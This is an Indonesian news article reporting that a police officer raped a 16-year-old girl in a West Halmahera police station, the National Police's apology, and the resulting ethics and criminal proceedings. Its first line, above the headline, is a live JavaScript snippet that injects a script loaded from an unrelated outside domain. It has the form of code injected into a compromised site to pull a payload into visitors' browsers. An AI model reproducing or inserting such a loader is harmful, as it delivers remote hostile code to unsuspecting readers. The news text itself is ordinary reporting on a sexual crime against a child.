(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pelaku Perkosaan Anak di Tahanan Polsek Ditangkap, Polri Minta Maaf


KANALKALIMANTAN.COM – Kepolisian Indonesia menyampaikan permohonan maaf kepada publik atas kasus pemerkosaan yang dilakukan salah seorang personilnya terhadap seorang anak perempuan di dalam tahanan polisi di Halmahera Barat, Maluku Utara. Tersangka pelaku yang kini ditahan di Polres Ternate terancam dipecat.

Kepala Divisi Profesi dan Pengamanan (Propam) Kepolisian Republik Indonesia Irjen Pol. Ferdy Sambo menyampaikan permohonan maaf kepada masyarakat atas tindakan bejat Briptu Nikmal Idwar. Dalam keterangan tertulis yang diterima VOA, Sambo mengatakan perbuatan Nikmal Idwar yang memperkosa seorang anak perempuan yang berada di tahanan polisi Halmahera Barat, Maluku Utara, jelas melukai hati institusi Polri.

“Kami menyampaikan permohonan maaf kepada rakyat Indonesia terhadap perbuatan keji dan biadab tersangka,” ujarnya.

Ditambahkannya, sesuai UU No.2/2002 tentang Kepolisian RI, tersangka yang kini telah ditahan di Polres Ternate akan menjalani Sidang Komisi Kode Etik Profesi Polri.

 

 

“Bidang Propam Polda Maluku Utara dan Divisi Propam Polri akan memproses pemberhentian tidak dengan hormat kepada yang bersangkutan,” tegasnya.

Baca juga: Dari Ratusan SMA SMK di Kalsel, 30 Sekolah Siap PTM Tahun Ajaran Baru

Nikmal Idwar Ditetapkan Sebagai Tersangka Pelaku Pemerkosaan Anak

Sebelumnya Kabid Humas Polda Maluku Utara Kombes Adip Rojikan kepada VOA mengatakan Briptu Nikmal Idwar telah ditetapkan sebagai tersangka sejak Jumat 18 Juni 2021 karena memperkosa anak perempuan berusia 16 tahun di Polsek Jailolo Selatan, Sidangoli, Halmahera Barat, Senin (14/6/2021).

Tersangka pelaku dijerat dengan pasal 80 dan pasal 81 Undang-undang nomor 35 Tahun 2014 tentang Perlindungan Anak dengan ancaman pidana penjara maksimalnya 15 tahun.

”Selain pidana umum kita berproses sidang kode etik secara internal. Itu dilakukan pemberkasan oleh Div Propam (Divisi Profesi dan Pengaman Kepolisian Republik Indonesia) Polda Maluku Utara. Ketika nantinya dalam berproses dan bukti menguatkan telah melakukan pelanggaran itu maka yang bersangkutan berhadapan dengan ancaman pemberhentian tidak dengan hormat dari Kepolisian,” jelas Kombes Adip Rojikan, Kamis (24/6).

Kronologis Peristiwa

Menurut Kombes Adip Rojikan, korban bersama seorang teman perempuannya pada hari Minggu (13/6) tiba di Sidangoli, Halmahera Barat setelah melakukan perjalanan dari Bacan Halmahera Selatan.

Karena jadwal kapal feri menuju Ternate baru ada esok paginya, maka keduanya bermalam di Sidangoli. Pihak keluarga yang khawatir dengan keselamatan kedua anak perempuan itu kemudian meminta bantuan perlindungan polisi setempat.

“Kedua anak ini terutama yang di bawah umur 16 tahun ini dia punya saudara Polwan di Polres Ternate. Sehingga si Polwan ini berupaya meminta tolong kepada teman seangkatannya di Polres Halmahera Barat atau Polsek Jailolo Selatan. Nah, ketemulah sama si NI, akhirnya diminta tolong untuk diamankan,” kata Adip Rojikan.

NI yang dimaksud adalah Nikmal Idwar.
“Si NI karena diminta tolong sama temannya sehingga pada tanggal 13 malam itu dicocokkan apa betul yang dimaksudkan temannya itu dua orang ini, nah ternyata betul sehingga diamankan di Polsek nah pada proses pengamanan inilah terjadi tindakan seperti itu,” papar Adip Rojikan.

Baca juga: Ajak Rekan Media Perangi Narkoba, BNNK HSU Gelar Workshop P4GN

Korban Trauma

Direktur LSM Daulat Perempuan Maluku Utara, Nurdewa Safar, yang mendampingi sekaligus menjadi kuasa hukum korban mengatakan pihaknya bekerjasama dengan psikolog untuk mengatasi trauma korban.

“Korban trauma itu tidak mau berhadapan dengan pihak pelaku dan bahkan juga ketika melihat seragam polisi merasa kayak orang Ternate bilang jengkel dengan baju yang dipakai oleh polisi. Itu yang diungkapkan korban ke kita oleh korban sendiri,” kata Nurdewa Safar dihubungi VOA, Kamis (24/6/2021).

Nurdewa menegaskan perbuatan persetubuhan anak di bawah umur oleh personil polisi di Polsek Jailolo Selatan itu merupakan tindakan kejahatan terhadap kemanusian, terlebih karena dilakukan oleh aparat penegak hukum yang seharusnya mengayomi dan melindungi masyarakat. (voa/yl/em)

Editor : kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.